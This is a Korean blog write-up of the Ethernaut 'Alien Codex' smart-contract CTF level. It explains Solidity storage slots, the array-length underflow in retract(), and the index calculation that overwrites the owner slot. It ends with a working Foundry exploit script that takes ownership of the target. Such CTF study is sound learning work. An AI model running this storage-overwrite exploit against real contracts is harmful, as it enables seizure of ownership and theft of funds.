You've uncovered an Alien contract. Claim ownership to complete the level.
Things that might help
Understanding how array storage works
Understanding ABI specifications
Using a very underhanded approach
어.. 뭔가 어떻게 접근해야 할 지 잘 모르겠어서 좀 찾아봤다
전에 있던 문제들처럼 흔히 owner를 탈취하는게 목적인데 어떻게 익스해야 하나 많이 고민함
그치만 구글링은 신이랍니다
열심히 찾아보고 열심히 정리해봄
문제 컨트랙트 상태 변수 살펴보기
owner
: 현재 컨트랙트 소유자의 주소를 저장하는 변수. 슬롯 0에 저장
codex
: 동적 배열, 배열의 길이는 슬롯1에 저장. 실제 배열의 데이터는 keccack256(1) 위치부터 시작
-> solidity에선 각 상태 변수를 저장할 슬롯을 할당함. 동적 배열(codex
)의 경우 배열 길이는 codex
의 슬롯에 저장되고, 데이터는 keccak256 해시를 통해 별도의 위치에 저장
저장소 슬롯 구조
retract() 함수는 배열의 길이를 줄이는 기능을 하는 것 같지만, 여기서 길이를 2^256 - 1로 설정할 수 있음.
이 값은 Solidity에서 지원하는 최대 크기이므로 codex 배열이 거의 모든 저장소 슬롯을 덮을 수 있는 상태로 됨!
배열의 길이를 이렇게 확장하면, codex 배열의 요소로 슬롯 0(즉, owner가 있는 위치)에도 접근할 수 있음
retract() 함수를 호출해 codex 배열의 길이를 2^256 -1 로 설정
-> 이를 통해서 배열의 인덱스를 조작할 수 있는 상태가 됨
계산한 인덱스를 revise함수에 전달해, owner 변수가 위치한 슬롯에 접근
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
interface AlienCodex {
function makeContact() external;
function retract() external;
function revise(uint i, bytes32 _content) external;
}
contract POC is Script{
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
AlienCodex target = AlienCodex(0x0F4D37cEa6675450a95CDc69cF20156c5d15f0Fd);
target.makeContact();
target.retract();
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
target.revise(index, myAddress);
vm.stopBroadcast();
}
}
따봉은 날리고 있지만 저 떨떠름한 미소... 문제가 어려웠던 나를 대변해주고 잇어....